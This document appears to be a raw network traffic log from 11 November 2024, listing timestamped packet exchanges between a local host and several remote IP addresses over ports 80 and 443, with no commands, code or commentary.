Nov 11, 2024 12:40:28.148376942 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.148380041 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.148395061 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.148402929 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.148406982 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.148432016 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.148433924 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.148452997 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.148474932 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.148502111 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.148538113 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.148545027 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.148550034 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.148571014 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.148596048 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.148669958 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.148682117 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.148693085 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.148705006 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.148715973 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.148716927 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.148727894 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.148739100 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.148750067 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.148756981 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.148765087 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.148785114 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.148808956 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.148827076 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.148999929 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149010897 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.149013042 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149032116 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149034977 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.149044037 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149055004 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149064064 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.149066925 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149079084 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149090052 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149091005 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.149101019 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149108887 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.149112940 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149125099 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149127007 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.149137974 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149148941 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149158001 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.149159908 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149179935 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149184942 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.149193048 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149204016 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149207115 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.149216890 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149230957 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.149259090 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.149411917 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149424076 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149435043 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149446011 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149456024 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149456978 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.149467945 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149480104 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149482965 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.149497986 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149508953 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149513006 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.149519920 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149521112 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.149533033 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149544001 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149549007 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.149555922 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149568081 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149578094 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.149579048 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149590015 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.149590969 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149605036 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149616957 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149620056 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.149633884 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149646044 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149652958 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.149657965 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149665117 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.149693966 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.149736881 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149749041 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149760008 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149774075 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.149802923 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.149900913 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149919033 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149930000 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149940968 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149947882 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.149964094 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149976015 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.149982929 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.149993896 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150005102 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150012016 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.150016069 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150022984 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.150027037 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150039911 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150048971 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.150051117 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150064945 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150072098 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.150075912 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150088072 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150098085 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150100946 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.150111914 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150119066 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.150126934 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150135040 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.150140047 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150151968 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150165081 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150166988 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.150176048 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150187969 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150194883 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.150199890 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150209904 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.150213003 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150224924 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150235891 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150238991 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.150254965 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150266886 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150273085 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.150279045 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150299072 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150307894 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.150310040 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150316954 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.150324106 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150336981 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150347948 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.150356054 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150367022 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150369883 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.150378942 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150383949 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.150392056 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150403023 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150414944 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150422096 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.150427103 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150430918 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.150459051 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.150484085 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.150764942 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150777102 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150788069 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150799036 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150809050 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.150810957 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150823116 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150840998 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150846958 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.150862932 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.150887012 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.150930882 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150943041 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150953054 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150963068 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150975943 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150985956 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.150989056 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.150998116 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151010990 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151016951 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.151024103 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151035070 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.151036024 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151048899 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151060104 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.151061058 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151072025 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151083946 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151094913 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151101112 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.151102066 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.151134014 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.151154041 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151165962 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151176929 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151187897 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151200056 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151207924 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.151211023 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151215076 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.151223898 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151236057 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151243925 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.151248932 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151268005 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.151273966 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151287079 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151294947 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.151298046 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151309967 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151316881 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.151328087 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151329041 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.151340008 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151351929 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151361942 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.151361942 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151374102 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151385069 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151391029 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.151396990 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151408911 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151421070 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151429892 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.151432037 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151441097 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.151444912 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151460886 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151470900 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151470900 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.151482105 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151494026 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151498079 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.151505947 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151518106 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151527882 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151530027 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.151540041 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151546955 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.151554108 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151566982 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151577950 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.151604891 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.151798964 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151838064 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151840925 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.151849985 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151861906 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.151874065 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.151884079 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.151912928 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.152965069 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.153007984 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.153064013 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.153074980 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.153084993 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.153093100 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.153096914 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.153110027 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.153119087 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.153121948 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.153143883 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.153182030 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.153193951 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.153204918 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.153207064 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.153213024 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.153217077 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.153228998 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.153239965 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.153255939 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.153264999 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.153268099 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.153280973 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.153290033 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.153292894 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.153304100 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.153315067 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.153316975 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.153327942 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.153341055 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.153343916 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.153351068 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.153357029 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.153373003 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.153398037 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.200417042 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.205403090 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.227693081 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.228014946 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.228024960 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.229007006 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.229059935 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.229428053 CET	49878	443	192.168.2.6	40.79.167.8
Nov 11, 2024 12:40:28.229448080 CET	443	49878	40.79.167.8	192.168.2.6
Nov 11, 2024 12:40:28.229587078 CET	49878	443	192.168.2.6	40.79.167.8
Nov 11, 2024 12:40:28.229903936 CET	49879	443	192.168.2.6	20.110.205.119
Nov 11, 2024 12:40:28.229922056 CET	443	49879	20.110.205.119	192.168.2.6
Nov 11, 2024 12:40:28.230001926 CET	49879	443	192.168.2.6	20.110.205.119
Nov 11, 2024 12:40:28.232027054 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.232088089 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.232263088 CET	49878	443	192.168.2.6	40.79.167.8
Nov 11, 2024 12:40:28.232279062 CET	443	49878	40.79.167.8	192.168.2.6
Nov 11, 2024 12:40:28.232848883 CET	49880	443	192.168.2.6	18.238.49.99
Nov 11, 2024 12:40:28.232856989 CET	443	49880	18.238.49.99	192.168.2.6
Nov 11, 2024 12:40:28.232918978 CET	49880	443	192.168.2.6	18.238.49.99
Nov 11, 2024 12:40:28.233009100 CET	49879	443	192.168.2.6	20.110.205.119
Nov 11, 2024 12:40:28.233022928 CET	443	49879	20.110.205.119	192.168.2.6
Nov 11, 2024 12:40:28.233350039 CET	49881	443	192.168.2.6	20.96.153.111
Nov 11, 2024 12:40:28.233381987 CET	443	49881	20.96.153.111	192.168.2.6
Nov 11, 2024 12:40:28.233462095 CET	49881	443	192.168.2.6	20.96.153.111
Nov 11, 2024 12:40:28.234134912 CET	49880	443	192.168.2.6	18.238.49.99
Nov 11, 2024 12:40:28.234146118 CET	443	49880	18.238.49.99	192.168.2.6
Nov 11, 2024 12:40:28.234316111 CET	49881	443	192.168.2.6	20.96.153.111
Nov 11, 2024 12:40:28.234328985 CET	443	49881	20.96.153.111	192.168.2.6
Nov 11, 2024 12:40:28.234461069 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.234467983 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.285851955 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.341047049 CET	49882	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.341063023 CET	443	49882	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.341202021 CET	49882	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.341412067 CET	49882	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.341423035 CET	443	49882	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.398452997 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.398473024 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.398479939 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.398518085 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.398528099 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.398535967 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.398544073 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.398551941 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.398602962 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.400036097 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400058031 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400068045 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400089025 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.400105953 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.400120974 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400136948 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.400147915 CET	80	49827	185.215.113.206	192.168.2.6
